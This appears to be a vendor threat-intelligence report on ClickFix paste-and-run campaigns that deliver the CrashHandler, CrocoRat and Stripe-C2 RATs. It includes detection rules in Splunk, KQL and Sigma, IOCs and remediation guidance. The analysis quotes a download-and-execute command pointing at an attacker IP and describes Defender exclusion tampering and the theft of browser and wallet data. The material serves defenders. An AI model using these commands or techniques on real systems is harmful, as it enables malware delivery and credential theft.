ClickFix in the Wild: New RATs (CrashHandler, CrocoRat), Stripe-Based C2, and Signed Google Tool Abused to Weaken Microsoft Defender

Key facts

Detection coverage

As of 2026-11-14, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-6056 across Splunk SPL, Microsoft KQL and Sigma, covering 34 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix Paste-and-Run: Interpreter Launched by Explorer With Download Cradle or DNS TXT Staging (TL-2026-6056)

Detects the ClickFix execution step used by CrashHandler RAT, the Czech batch RAT, the Stripe-C2 .NET implant and CrocoRat: PowerShell, mshta, cmd or curl spawned directly by explorer.exe (Win+R, Ctrl+V, Enter) carrying an iwr|iex cradle, a Resolve-DnsName TXT lookup against an explicit attacker resolver (167.17.178.103), a reversed-string or encoded command, a remote mshta URL, the Czech lure string 'Nejsem ROBOT', or Flare-reported IOC domains and IPs. Because the victim runs the command, mail and browser controls are bypassed; the process-lineage behaviour is the reliable signal.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1204.004, T1059.001, T1218.005, T1140
• Data sources: Sysmon Operational EventCode 1 (index=sysmon), Microsoft Defender for Endpoint DeviceProcessEvents, Windows Security 4688 with command line auditing
• Severity: high
• Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h ParentImage="*\\explorer.exe" (Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\mshta.exe" OR Image="*\\cmd.exe" OR Image="*\\curl.exe")
| eval cl=lower(CommandLine)
| eval indicator=case(match(cl,"resolve-dnsname.* -type +txt.* -server"),"dns_txt_staging", match(cl,"(iwr|invoke-webrequest|irm|invoke-restmethod).*[|] *(iex|invoke-expression)"),"download_cradle_pipe_iex", match(cl,"mshta[^ ]* +.?https?://"),"mshta_remote_url", match(cl,"lijil[.]icu|veriffication-redirect[.]com|microsoftofice[.]cz|kupujto[.]unas[.]cz|howclens[.]com|167[.]17[.]178[.]103|95[.]85[.]238[.]53|103[.]56[.]84[.]221|nejsem robot"),"known_ioc_or_lure_string", match(cl,"reverse") AND match(cl,"iex|invoke-expression"),"reversed_string_iex", match(cl,"-(enc|encodedcommand) +[a-z0-9+/=]{40,}"),"encoded_command", true(),null())
| where isnotnull(indicator)
| stats count min(_time) as first_seen max(_time) as last_seen values(indicator) as indicators values(CommandLine) as command_lines by host, User, ParentImage, Image
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

let lookback = 24h;
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName =~ 'explorer.exe'
| where FileName in~ ('powershell.exe','pwsh.exe','mshta.exe','cmd.exe','curl.exe')
| extend cl = tolower(ProcessCommandLine)
| extend Indicator = case(
    cl has 'resolve-dnsname' and cl has 'txt' and cl has '-server', 'dns_txt_staging',
    cl matches regex @'(iwr|invoke-webrequest|irm|invoke-restmethod).*\|\s*(iex|invoke-expression)', 'download_cradle_pipe_iex',
    cl matches regex @'mshta[^ ]*\s+.?https?://', 'mshta_remote_url',
    cl has_any ('lijil.icu','veriffication-redirect.com','microsoftofice.cz','kupujto.unas.cz','howclens.com','167.17.178.103','95.85.238.53','103.56.84.221','nejsem robot'), 'known_ioc_or_lure_string',
    cl has 'reverse' and cl has_any ('iex','invoke-expression'), 'reversed_string_iex',
    cl matches regex @'-(enc|encodedcommand)\s+[a-z0-9+/=]{40,}', 'encoded_command',
    '')
| where Indicator != ''
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, Indicator
| order by Timestamp desc

Sigma

title: ClickFix Paste-and-Run Interpreter Launched From Explorer With Download Cradle or DNS TXT Staging
id: 5c1f7a42-8e3b-4d6a-9b21-3f0a6c7d1e01
status: experimental
description: Detects PowerShell, mshta, cmd or curl launched directly by explorer.exe (Win+R paste) with a download-and-execute cradle, a Resolve-DnsName TXT lookup against an explicit resolver, an encoded command, a remote mshta URL, or ClickFix lure strings and infrastructure reported in TL-2026-6056.
references:
  - https://flare.io/learn/resources/blog/clickfix-attacks-summary
  - https://flare.io/learn/resources/blog/crocorat-clickfix-dns-payload-delivery
  - https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
author: Threadlinqs Team
date: 2026-11-14
tags:
  - attack.execution
  - attack.t1204.004
  - attack.t1059.001
  - attack.defense-evasion
  - attack.t1218.005
  - attack.t1140
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\mshta.exe'
      - '\cmd.exe'
      - '\curl.exe'
  selection_cradle:
    CommandLine|contains:
      - '| iex'
      - '|iex'
      - '| Invoke-Expression'
      - '|Invoke-Expression'
      - 'mshta http'
      - '-EncodedCommand'
      - 'Nejsem ROBOT'
      - 'lijil.icu'
      - 'veriffication-redirect.com'
      - 'microsoftofice.cz'
      - 'kupujto.unas.cz'
      - 'howclens.com'
      - '167.17.178.103'
      - '95.85.238.53'
      - '103.56.84.221'
  selection_dnstxt:
    CommandLine|contains|all:
      - 'Resolve-DnsName'
      - 'TXT'
      - '-Server'
  condition: selection_parent and selection_image and (selection_cradle or selection_dnstxt)
falsepositives:
  - Administrators pasting a legitimate one-liner into the Run dialog
  - Software deployment helpers launched from Explorer that use encoded commands
level: high

Known false positives:

• Administrators or help-desk staff pasting a legitimate PowerShell one-liner into Win+R
• Developer tooling that launches an encoded PowerShell command from Explorer

Tuning notes: Adjust the index name to your Sysmon index and ensure process-creation command lines are collected. Allowlist known admin accounts or hosts that legitimately paste commands into Run. Enable the lure-string and IOC branch only after confirming it does not duplicate your IOC matching. Add new lure strings or resolver IPs as new ClickFix cases appear.

• 🔒 ClickFix Staged Payload Delivery: Password-Protected 7za Extraction, Silent MSI Install and Remote mshta (TL-2026-6056) · unlock with TL Creds
• 🔒 CrashHandler and Czech RAT Persistence and Masquerading: GoogleCrashHandler, Fake MsMpEng, RuntimeBroker and SubHost Loaders (TL-2026-6056) · unlock with TL Creds
• 🔒 ClickFix Campaign Infrastructure Contact and DNS TXT Staging to Explicit Resolver (TL-2026-6056) · unlock with TL Creds
• 🔒 ClickFix Run Dialog History (RunMRU) Contains Pasted Interpreter or Download Command (TL-2026-6056) · unlock with TL Creds
• 🔒 CrocoRat Scheduled Tasks and Bundled pythonw.exe Running From [indicator] (TL-2026-6056) · unlock with TL Creds
• 🔒 CrocoRat Browser Tampering and Wallet Archive Staging by Python From ProgramData App (TL-2026-6056) · unlock with TL Creds
• 🔒 Microsoft Defender Exclusion Added for Whole C:\ Drive (CrashHandler Signed Utility Abuse) (TL-2026-6056) · unlock with TL Creds
• 🔒 Stripe API Dead-Drop C2 From Non-Browser Process and Fake MsMpEng.exe Network Activity (TL-2026-6056) · unlock with TL Creds

Indicators of compromise

As of 2026-11-14, Threadlinqs Intelligence tracks 34 indicators of compromise for TL-2026-6056.

Sample indicators (3 of 34)

• IP address: 95.85.238[.]53
• Domain: lijil[.]icu
• URL: hxxps://t[.]me/+GxJlJOY5yasyNTI0

Defanged, TLP:CLEAR. Full set of 34 indicators: unlock with TL Creds.

Technical analysis

One chain abused a legitimately signed Google-signed utility to exclude C:\ from Microsoft Defender scanning.

Flare Research (author Assaf Morag) analysed five ClickFix chains captured over two days at the end of August 2026 plus follow-on CrocoRat captures in late August and late September 2026. In every chain a fake Cloudflare/reCAPTCHA/'I am not a robot' page silently writes an attacker-controlled command to the clipboard with navigator.clipboard.writeText() and instructs the victim to press Win+R, Ctrl+V, Enter. Because the victim launches the command, browser and email defences are bypassed; the visible portion of the command is often padded or reassuring (for example the Czech string 'Nejsem ROBOT', which lands in the RunMRU key) while the real payload URL is hidden by length, string reversal plus Invoke-Expression, or an external pointer.

Case 1 (DMarket lookalike, CrashHandler RAT): the fake Cloudflare check serves a dynamic clipboard command. The loader checks for admin rights (relaunching itself via %TEMP% and triggering UAC if needed), downloads script.ps1 from lijil.icu and runs it against C:\. Flare describes script.ps1 as a legitimate utility, signed by Google LLC (DigiCert EV certificate, valid 2024-04-08 to 2027-04-10), whose purpose is adding paths to the Defender folder-exclusion list; it was repurposed to exclude the whole C:\ drive. A password-protected ZIP (password oldkf2026) and 7za.exe deliver an MSI, installed silently with msiexec /qn /norestart, that drops two Go loaders (32-bit MicrosoftEdge.exe, 64-bit ElevationChrome.exe). The 32-bit loader hides ~447 KB of AES-encrypted data in a .pdata section and loads a managed .NET payload in-process via the CLR (nothing touches disk). Anti-analysis includes forged Go versions and PE timestamps, -trimpath, a minimal kernel32 import table with runtime API resolution. Persistence is a copy named GoogleCrashHandler.exe under %APPDATA%\Microsoft\Edge\Core\ plus a registry Run value; C2 is TCP/TLS to 95.85.238.53:56001. Capabilities inferred from dependencies include WMI host fingerprinting, screen capture and TLS comms; a relationship to AsyncRAT is only a hypothesis.

Case 2 (Czech Microsoft typosquat login.microsoftofice.cz): a Czech-language 'verify you are human' page leads to Windows_Repair.zip (AES-encrypted, password Lopata) and a renamed 7-Zip (7za.png -> 7za.exe) staged on kupujto.unas.cz. Two PureBasic batch-to-EXE wrappers (RuntimeBroker.exe and 'Microsoft Aggregator SubHost.exe', UPX-packed) run embedded batch scripts that fingerprint the host, poll name.html (target selector by COMPUTERNAME/USERNAME or 'universal') and comm.html (command) about every five seconds, execute the first line of the command under a pasec.txt 'lodyha' guardrail, and POST output to pages2.php. Persistence is a Startup-folder LNK; a finish.vbs shows a decoy Czech IT-department dialog. The exfiltration marker string —OKOKOK— in POST bodies is Flare's best network indicator.

Case 3 (Howdens impersonation, Stripe C2): an encoded PowerShell command delivers stripe.exe, an unsigned .NET RAT (command execution, screen capture, file transfer, adjustable beaconing, disguised browser traffic). It copies itself to %APPDATA%\Microsoft\Windows\WinSxS\MsMpEng.exe to impersonate Defender and uses api.stripe.com as a dead drop: it creates a Stripe customer object with a unique ID and system info, polls metadata (pending_cmd) for commands, writes results to other metadata fields and chunks screenshots/files across multiple objects (total_objects, obj_ids, xfer_id, last_seen). Flare notes a June 2026 Magecart campaign used a similar Stripe dead-drop. Case 4 delivered only an HTA that launched calc.exe (purpose unclear, payload could be swapped at any time); Case 5 used a Telegram channel description as a changeable pointer to a payload domain (https://<domain>/download/install) and could not be confirmed.

CrocoRat: the lure page fetches /command.php and copies a PowerShell one-liner that runs Resolve-DnsName for a TXT record against the attacker's own resolver (167.17.178.103). The TXT answer contains 'iwr https://167.17.178.103/getdata | iex', so the real instruction never appears in the pasted string (DNS is staging only, not an ongoing C2 channel). Stage 2 rebuilds C:\ProgramData\App, downloads update.zip containing a bundled pythonw.exe and runner.py/run.py, and registers scheduled tasks AppUpdatePythonRunner (at logon) and AdvancedIPRun (every 15 minutes). The loader fetches an AES-GCM key from 103.56.84.221:8080/get_config, decrypts and runs the RAT client in memory ('CrocoRat 1.0 HTTPS Client'). On hosts where USERDOMAIN equals COMPUTERNAME it also runs a browser stealer (Chrome/Edge/Brave, DLL injection, named pipes, App-Bound Encryption bypass indicators) and a collector for 22 crypto-wallet families and BIP39 seed phrases, archived as data_{hostname}.zip and exfiltrated to 41.216.182.164, alterzaf.com and later 151.241.99.87.

Impact: infostealer-class payloads can expose corporate SSO tokens, business sessions, internal documents and cloud secrets (per Flare/Push Security); Microsoft identifies LummaStealer as the most prolific ClickFix final payload. No CVE, named actor or attribution is stated in the sources; the cases appear to be separate operators sharing the ClickFix delivery technique.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System

Defense Evasion

T1027 Obfuscated Files or Information; T1027.002 Software Packing; T1036.005 Match Legitimate Resource Name or Location; T1140 Deobfuscate/Decode Files or Information; T1218.005 Mshta; T1620 Reflective Code Loading

Persistence

T1053.005 Scheduled Task; T1547.001 Registry Run Keys / Startup Folder

Execution

T1059.001 PowerShell; T1059.003 Windows Command Shell; T1059.005 Visual Basic; T1059.006 Python; T1204.004 Malicious Copy and Paste

Command and Control

T1071.001 Web Protocols; T1071.004 DNS; T1102.002 Bidirectional Communication

Discovery

T1082 System Information Discovery

Credential Access

T1555.003 Credentials from Web Browsers

Resource Development

T1583.001 Domains

defense-impairment

T1685 Disable or Modify Tools

Remediation

Immediate actions

• Hunt for and alert on Microsoft Defender exclusion changes (e.g. exclusion of C:\) not made by your management platform
• Block/sinkhole listed IOC domains and IPs (lijil.icu, microsoftofice.cz, kupujto.unas.cz, howclens.com, veriffication-redirect.com, 95.85.238.53, 167.17.178.103, 103.56.84.221) and search proxy/DNS logs retroactively
• Hunt for GoogleCrashHandler.exe in %APPDATA%\Microsoft\Edge\Core\, MsMpEng.exe in %APPDATA%\Microsoft\Windows\WinSxS\, C:\ProgramData\App, and the AppUpdatePythonRunner / AdvancedIPRun scheduled tasks
• Check RunMRU (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU) for pasted ClickFix commands
• On confirmed infection: isolate host, preserve memory, rotate credentials from a clean device, revoke SSO/session tokens, review cloud secrets, treat exposed crypto wallets as compromised, reimage

Workarounds

• Where Run cannot be disabled, monitor Resolve-DnsName TXT queries to explicit external resolvers and powershell.exe launched shortly after browser verification pages

Longer-term hardening

• Disable the Windows Run dialog for standard users where feasible
• Restrict or block mshta.exe and monitor curl.exe for non-technical users
• Enable PowerShell script block logging and application control blocking interpreters/unsigned binaries in ProgramData, AppData and Temp
• Alert on shell/mshta processes whose parent is a browser or explorer.exe, and on pythonw.exe connecting to bootstrap.pypa.io or pypi.org
• Alert on workstations without a billing function contacting api.stripe.com, correlated with host artifacts (do not block Stripe outright)
• Train users on the technique: legitimate sites never ask you to paste a command into Run

Affected and fixed versions

• Microsoft — Windows (Run dialog / PowerShell / Microsoft Defender Antivirus)
  Vulnerable versions: Windows endpoints where users can paste commands into Win+R or a terminal; Defender exclusion tampering requires local admin

Timeline

• 2025-08-21 Microsoft publishes its analysis of the ClickFix technique, naming Lumma Stealer as the most prolific final payload and noting PowerShell/mshta as the dominant execution paths.
• 2025-10-01 Lure/C2 domain locked-ioc-14 registered (October 2025; exact day not stated in source, first of month used as placeholder).
• 2026-08-31 Flare captures five ClickFix chains (CrashHandler RAT, Czech RAT, Stripe C2, calc.exe HTA, Telegram dead drop) over two days at the end of August 2026 (exact days not stated; month-end used as placeholder). First CrocoRat captures also date to late August 2026.
• 2026-09-30 Later CrocoRat build captured in late September 2026 with renamed files, new AES key prefix, new exfil endpoint (locked-ioc-27) and scanner V15->V18 (exact day not stated); attacker infrastructure reportedly unusable by this point.
• 2026-10-06 Flare publishes CrocoRat analysis detailing DNS TXT-based next-stage delivery, Python stealer/RAT chain and IOCs.
• 2026-11-12 Flare publishes the ClickFix summary and deep-dive covering CrashHandler RAT, Stripe API C2, the Google-signed Defender-exclusion utility and Telegram dead-drop chain.

Sources cited

• ClickFix in the Wild: New RATs, Stripe-Based C2, and a Signed Google Tool Turned Against Defender flare.io · Research · 2026-11-12
• Flare: Hunting ClickFix Attacks - Deep Dive (CrashHandler RAT, Stripe C2, Telegram dead drop) flare.io · Research · 2026-11-12
• Flare: CrocoRat - ClickFix DNS Payload Delivery flare.io · Research · 2026-10-06
• Flare: Inside a Microsoft Lookalike Domain Masquerading as Czech Company's IT Department Infrastructure flare.io · Research
• Microsoft: Think before you Click(Fix): Analyzing the ClickFix social engineering technique Microsoft · Vendor report · 2025-08-21
• Push Security: ClickFix variants pushsecurity.com · Research

More in malware

• Predator, Pegasus and Graphite Mercenary Spyware: Government-Linked Abuse Against Journalists, Activists and Politicians in Europe with Little Accountability
• ArcticRAT Android RAT Uses Fake VPN Tunnel to Evade Google Play Protect and xAI Grok for Financial Triage
• Hackers Hijack Microsoft SQL Servers Using T-SQL Commands to Install Gh0st RAT and Crypto Miners
• AccuraSoftHire Fake Interview Campaign: PolinRider Loader Delivered via Malicious Tailwind npm Look-alikes and Fake Camera Driver to Developer Machines
• Gootloader Malware Disrupted in International Operation (Operation Endgame) After Infecting 25,000+ Computers